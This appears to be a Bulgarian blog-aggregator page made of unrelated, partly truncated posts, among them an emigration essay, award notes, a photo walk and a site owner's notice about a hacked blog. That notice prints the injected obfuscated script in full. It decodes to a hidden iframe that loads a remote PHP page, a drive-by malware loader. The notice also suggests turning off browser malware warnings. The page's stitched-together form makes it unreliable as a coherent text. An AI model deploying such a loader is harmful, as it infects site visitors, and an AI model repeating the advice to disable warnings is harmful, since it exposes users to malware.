Любимци в новините: постоянни и променливи величини

„Те, българите, някога бяха най-справедливия от всички народи и от всичко на света почитаха най-много тези добродетели и сами достигаха голяма слава, а градовете и народите се присъединяваха към тях доброволно“, средновековен автор, около 1000г.

Преди няколко дни наблюдавах пристигането на евтиния полет от Лондон на летището в София и докато чаках скъпите ми роднини да се появят на вратата, ухото ми галеха най-разнообразни диалекти, включително и няколко македонски. Вратите автоматично се плъзгаха и от тях изникваха, един по един, или на групички, спретнато и по европейски облечени българи, предизвикващи радостни възгласи ту тук, ту там в тълпата.

Опитвах се наум да преценя, коя групичка кого чака, и не се справях особено добре.

Спомних си за моите съученици, които бяха между първите, които хванаха пътя навън. Най-добрите ученици, шампионите по олимпиадите, най-добрите музиканти, най-големите мечтатели, най-хубавите момичета, отидоха да учат, да работят и да бъдат себе си извън България. Колко ли хубави неща не се случиха тук, просто защото те са там...

Както и моите приятели днес, така и първобитните хора, още по времето на пещерите и наколните жилища непрекъснато са били изправяни пред въпроса къде да живеят и къде да отглеждат децата си. Доживялото до наши дни изкуство на фън шуй подсказва, че тогава, далеч в миналото, нашите облечени в кожи и препаски прадеди, нарамили каменните брадви, с религиозно усърдие изследвали качеството на почвата и на водата, силата и посоката на ветровете, мекотата на климата и валежите, наличната храна и възможността за отбрана, за да си подберат място за дом. Но, скоро хубавите места се понапълнили, съжителите започнали да се ръчкат с лакти в ребрата и се появила нуждата от правила, които да уреждат съвместното живеене и съвместното ползване на природните дадености. Така първите хора били принудени да измислят цивилизацията, а следващите - емиграцията.

Поради прекрасната си и щедра природа, днешните български земи били точно сред тези чудесни местенца, където всеки искал да живее и затова тук изскача толкова материал под лопатите на иманярите.

Хилядолетия след първоначалното завземане на територии, причината човек да се засели някъде, вече била друга – това били правилата, хората и построеното от хората. Водещи мотиви за заселване или преселване станали свободните хоризонти, данъците, уредеността на държавите, законността и мощта на икономиката, от които произтичало личното благоденствие и щастие. Било време, когато несъстоятелният тоталитарен социализъм пречел на свободното движение, защото нямал какво да предложи на гражданите си. Затова сега, уж парадоксално, толкова много хора се опитват да избягат от райска Куба, и искат да се промъкнат в негостоприемните пустини на Австралия и Израел или в ледената тундра на Канада. Причината моите приятели да искат да останат там, се крие в обществото, а не в природата.


Денонощието има 24 часа, а годината - около 8800. И всеки час е сбор от мигове, които човек иска да преживее по-ефикасно, по-приятно и изпълнени с повече смисъл. Ако моментите, които дават смисъл на живота ни, са повече от безмислените или неприятните, те ни задържат като котва на едно място. Причините следват хората, а хората се раждат и умират. Бабите заминават при новородените си внуци на Запад. Родовете се късат, щом възрастните си отидат. Любимите учители се пенсионират.

Хората и спомените от детството обясняват магията на родината, а именно – защо мизерни и негостоприемни държави събуждат топли чувства в излетелите от гнездото пиленца, защо тези добре облечени хора със самочувствие търпят опърпаната зала за посрещачи, наглите бакшиши и практически липсата на удобства (няма дори безплатен интернет).

Нормалното човешко същество мечтае да се реализира и да съществува в хармония. Всичко хубаво, което ни заобикаля, се дължи на конкретни личности, на личности, които работят много за мечтите си. Всичко хубаво се прави със много страст, упоритост, талант и понякога – с пари. Всичко, което приемаме за естествено и необходимо – пощата, която доставя пратките навреме, чистата вода от водопровода, светването на лампата, когато натиснеш ключа - всичко това е дело на хора, които са вложили живота си в някоя идея, които са треперели над всяка дреболия.

Не се хващайте за парите. Всеки инвеститор ще ви каже, че пари има, но за да дойдат, се изискват две неща – качествени хора и качествени проекти.

Ролята на правителството не е в това, да се прави на предприемач с общата каса, не е и в това, да ни залъгва с измислени поводи за национална гордост. Най-важната задача на правителството е да създаде условия за пълна реализация на талантливите и амбициозните, комфортна среда, която да им даде възможност да създават причините за оставане в България.
Да генерира притегателната сила, която да прави оловна всяка крачка към гишетата за регистриране на багажа. Да усилва радостното очакване, щом хванеш самолета наобратно.

И аз, и приятелите ми, имаме мили спомени от училище. Но, замислете се, големият плач по образованието по времето на социализма не е ли, защото паспортният капан спираше талантливите студенти и преподаватели да заминат на по-нормални места? Носталгиците, готови ли сте да затръшнете решетката отвътре?

Дори географското местоположение на България, с което се опитваме да примамим чужди капитали, е реална заслуга на реално съществували личности - на Аспарух, разположил държавата отсам Дунава и на Крум - първи запазил парцелче върху пътя между Ориента и Европа.

Какво се получава, ако родината ти се пълни с неприятни хора, в чиято компания не искаш да се намираш? Например, ако не искаш руски олигарси да перат на Камчия, ако не желаеш да си мълчалива публика на изцепките на мутрите в София, или пък нямаш нерви да търпиш издевателстващата бюрокрация?

Можеш да си купиш все по-евтиния еднопосочен билет.

Така, постепенно, всяка държава се изпълва с хората, които я заслужават.

Публикувано във в-к „Седем“

                      Един от незабравимите ми учители употребяваше за онагледяване на най-различни теми една и съща показалка.

Сега, повече от 150 000 войници от НАТО са на територията на Афганистан. През този месец  са убити 64 души. Войските на Алианса продължават настъплението в южната провинция Кандахар, която се счита за основна крепост на талибаните. В същото време, между вътрешния кръг на президента Хамид Карзай и членовете на “Куета Шура” са започнали предварителни [...]

Реших окончателно и категорично догодина да се явя на конкурс за красота и да го спечеля. Целта ми се вижда съвсем достижима, при положение че тази година успях да спечеля наградата за блог на Българската WEB асоциация, наградата за блог на БГ Сайт и втора награда на публиката на БГ Сайт. Винаги съм смятал, че по-добре изглеждам отколкото пиша (което не значи, че се мисля за много красив, просто съм критичен към текстовете си) и след като мога да победя с писане, защо да не победя и с изглеждане. Ето, „Менхънт”, „Мистър България”, а защо не и „Сър България” ме очакват да ги покоря. Дано само регламентът да не изисква да се дефилира по бански, защото тогава пред всички ще лъсне белотата на моето увлечение по бирата.

С известно самохвалство трябва да призная, че досега в кариерата си съм имал доста успешни и дори, както биха се изразили някои господари на словото, звездни моменти. Но никога не съм бил толкова щастлив и толкова трогнат, колкото се почувствах снощи на церемонията по награждаването, когато ме спираха съвсем непознати хора и ми казваха, че четат откровените ми щуротии в блога и ги харесват. Сред тях имаше много мои връстници (между 40 и 50), но имаше и много млади момчета и момичета по на 20 и няколко години. Не бях предполагал, че моите често префърцунени и в много отношения тегави писания ще докоснат млади хора, които имат къде-къде по-важни и интересни занимания.

Никога не съм бил толкова щастлив и толкова трогнат, колкото останах от отношението на приятелите ми в Интернет. Винаги съм си мислел, че, дращейки в блога, градя образ на един кисел мърморко, който вечно е недоволен от нещо и вечно на нещо се присмива като някой дърт комплексар. Хората обаче ми отговориха със симпатия. Почти не ме ругаха и дори ме хвалеха. И аз се досещам защо е така. Защото, колкото и кисел и присмехулен да съм бил, никога не съм преставал да съм честен и искрен, а изглежда уважението към честността и искреността все още не е умряло.

Благодаря на всички приятели и няма да им кажа какво си мисля за тях, защото те си знаят. J

CHEERS!

Tweet

Хилав протест посреща Путин на Орлов мост Това е заглавието на БГНЕС, което топли сърцата на всички, които от сърце приемат проекта АЕЦ “Белене”. Очаквано, в уречения твърде рано спрямо  вероятния час на преминаване на кортежа с Путин, шепата протестиращи наистина бяха “по-малко от полицаите и журналистите”, както информира БГНЕС. Към минутата на спешно разпространената [...]

Сутрин като всяка съботна сутрин, с тази разлика, че започна рано – още в 5:30. През последните месеци придобих навика да отлагам алармата и да ставам едва на четвъртото настоятелно прозвъняване. Не и днес. Щом я чух, скочих от леглото, хвърлих се под душа, нарамих раницата и двата фотоапарата и седнах в колата.

Удоволствието да излезеш на улицата толкова рано е несравнимо. Няма коли, няма напрежение. Превключваш бавно предавките, слушаш тиха, приятна музика и спокойното ръмжене на двигателя на ниски обороти. Навигацията на Prestigio с нежен женски глас пък ми спестяваше мисленето откъде да мина.

Не след дълго се озовах в Панчарево. Спрях колата до самия бряг на езерото, а топлите кроасани на OMV ми правиха компания до появата на слънцето.

Скоро не бях посрещал изгрев. А този ми подари красиви облаци, нюанси на синьо и розово и много тишина. Спускащата се по склона в далечината мъгла ме накара да завъртя волана наляво вместо надясно. Тесен и влажен път, фарове за мъгла, Бетовен от слушалките и двата фотоапарата на съседната седалка.

Спрях до крепостта Урвич, където:

Тук, на това място, цар Иван Шишман с храбрите си воини седем години брани последната твърдина на българската държава от отоманските поробители. Българино, сведи глава пред чутовния им подвиг.

В търсенето на пътека до крепостта се отклоних към манастира св. Петка, в чийто двор на спяща стража стоеше едно миролюбиво куче. Не усетих как съм минал покрай него, докато сменях филма на фотоапарата. После пък с махаща опашка ме изпрати до портата.

По стръмна пътека между високи и остри камъни все пак се добрах до крепостта. Там, за съжаление, ме чакаше друго куче, далеч не толкова доброжелателно. Следващия път ще отида подготвен.

Красиво място и приятна ранна съботна разходка. Животът е хубав, достатъчно е да му се наслаждаваш, без да си търсиш поводи да си нещастен.

Walking on the edge... - Един УеБлог на Иван Ралчев

Потребителите на FireFox и Chrome сигурно са забелязали страшните предупреждения, ако влязат в нашия сайт. Истината е, че пробив в сигурността на някой от plugin-ите (заподозряни са Sociable и Wordbooker) е довел до вкарването на следния „красив“ скрипт в блога:

<script>var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm
nopqrstuvwxyz0123456789+/=";var WqKY="PGlmcmFtZSBzcmM9Imh0dH
A6Ly8xOTUuMjI2LjIyMC4xMTIvfmFkbWluLy4sbW5idi90cmYucGhwP3NjaD
1zY2hlbWExJnM9a2V5d29yZCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZnJhbW
Vib3JkZXI9IjAiPjwvaWZyYW1lPg==";var K7dv="";var QXcJ,mDTZ,wk
w2,uEFX,CF6S,Vthb,VlmL="";var i=0;var base64test=/[^A-Za-z0-
9\+\/\=]/g;WqKY=WqKY.replace(/[^A-Za-z0-9\+\/\=]/g,"");do{uE
FX=k0e0y0S.indexOf(WqKY.charAt(i++));CF6S=k0e0y0S.indexOf(Wq
KY.charAt(i++));Vthb=k0e0y0S.indexOf(WqKY.charAt(i++));VlmL=
k0e0y0S.indexOf(WqKY.charAt(i++));QXcJ=(uEFX<<2)|(CF6S>>4);m
DTZ=((CF6S&15)<<4)|(Vthb>>2);wkw2=((Vthb&3)<<6)|VlmL;K7dv=K7
dv+String.fromCharCode(QXcJ);if(Vthb!=64){K7dv=K7dv+String.f
romCharCode(mDTZ);}if(VlmL!=64){K7dv=K7dv+String.fromCharCod
e(wkw2);}QXcJ=mDTZ=wkw2="";uEFX=CF6S=Vthb=VlmL="";}while(i<W
qKY.length);document.write(unescape(K7dv)); </script>

Предприел съм нужните действия, но ще отнеме няколко дни и вече няма проблеми със сайта, но ще минат няколко дни, докато от Google вдигнат карантината. Дотогава не е проблем да се сърфира с Internet Explorer например, както и да се изключат предупрежденията във Firefox и Chrome.

Съжаляваме за неудобството и ще ви държим в течение.

Подобни публикации

• 01.09.2010 — Публикация No. 1000 (13)
• 26.07.2010 — Sony Ericsson C905i (8)
• 01.07.2010 — Search Terms IV (7)
• 14.06.2010 — Конкурси, определени от броя гласове (14)
• 11.06.2010 — Technical Issues – GMail и БНТ (7)
• 20.02.2010 — Отговор до Комисията за защита на потребителите (6)
• 02.12.2009 — Камери, които засичат номера (6)
• 23.10.2009 — Първа инвестиционна бира (4)
• 18.10.2009 — Facebook странности (5)
• 09.04.2009 — Данчо Колев, дами и господа! (2)
• 24.03.2009 — Татко си има нов блог. (3)
• 13.04.2007 — Затвориха и кино "Роял" (2)
• 01.03.2007 — Група "ФМИ" – Пилотен сингъл (20)
• 25.07.2006 — Team Beering (0)
• 11.07.2006 — Хакнат (1)
• 09.01.2006 — Началото… (3)

   Колко е приятно, когато нещата ти се получават лесно, бързо, гладко - като на игра. Тогава разбираш, че това просто е правилното нещо, че трябва да се движиш в тази посока, да продължиш да следваш знаците и напътствията, след като се научиш да ги виждаш, разбира се... Хубаво е, леко и лесно. (Нещо такова описах и в този си текст, където за 3 дена изминах 2700 км, само за да гледам най-любимата си група за последен път на живо в Европа).

   Е, сега искам да споделя, че точно това се случи и с отношенията ми с Любов Георгиева от център Виолетова Жаба! Толкова се впечатлих от нейната презентация в нета, разделена на 18 кратки клипчета, толкова ми хареса начина, по който говори, ясните примери, които дава, че - аз какво мислите? -  веднага й писах! Ама ей така, да я поздравя, да я окуража и да й предложа своето сътрудничество при нужда. От писмо на писмо осъзнах, че обсъждаме условията и датата на лекцията й във Варна, че вече имам предвид мястото и отрязъка от деня, в които ще бъде събитието (разбира се, че в Клуба за детско творчество Щурче във Варна, при невероятно отдадения на децата Бате Ицо, който веднага разчисти графика за предиобеда на една ноемврийска събота), ресторанта, в който ще я заведа после на обяд и кои точно две книги искам да й подаря в знак на благодарност и радост, че сме се запознали.

   Така е то, истинското нещо. Случвало ми се е и преди, за първи път силно осъзнато преди ражданията ми (усещането, че всичко ще бъде повече от наред, че всичко ще мине лесно и приятно и винаги би трябвало да бъде така). Случвало се е и на вас, нали? Но не чак толкова често, затова се разпознава.

   Та така. Имам удоволствието и трепета да ви поканя на:

Вече 11 години се раздават годишните награди на БГ Сайт – събитието, на което всяка есен се броят пилците в интернет.

Трета година подред съм в “Експертния съвет“, който присъжда специалните награди, на специални хора, проекти, фирми, без които българският интернет не би бил същият.

Списъка с наградените можете да видите тук, да не изброявам.

С голяма радост приех да връча наградата на Огнян Младенов, който превърна заниманията в България със SEO от нещо на ръба на закона и етиката, в нормален бизнес и който хвърля огромни усилия в организирането на събития и в обучение на специалисти.

За съжаление Оги беше болен, та наградата вместо него прие Деси Бошнакова.

Другите със специални награди бяха – Томас Хигинс, който 10 години неуморно инвестираше в интернет бранша в България и Superhosting, които не само предлагат много стабилен хостинг и отлична поддръжка, но и спонсорират всички събития, свързани с Интернет.

От останалите наградени искам да отбележа Иван Стамболов (sulla.bg), който съвсем заслужено грабна награда, защото вдига много високо летвата на писането в Интернет. Наградата му връчи лично Ваня Щерева (клипчето отгоре)

Нагледният му материал за усвояването на еврофондовете ще повиши много разбирането на тази деликатна материя.

И отново браво на Жустин Томс, неуморният мотор и сърце на конкурса, без която нищо от тези хубави неща не би се случило.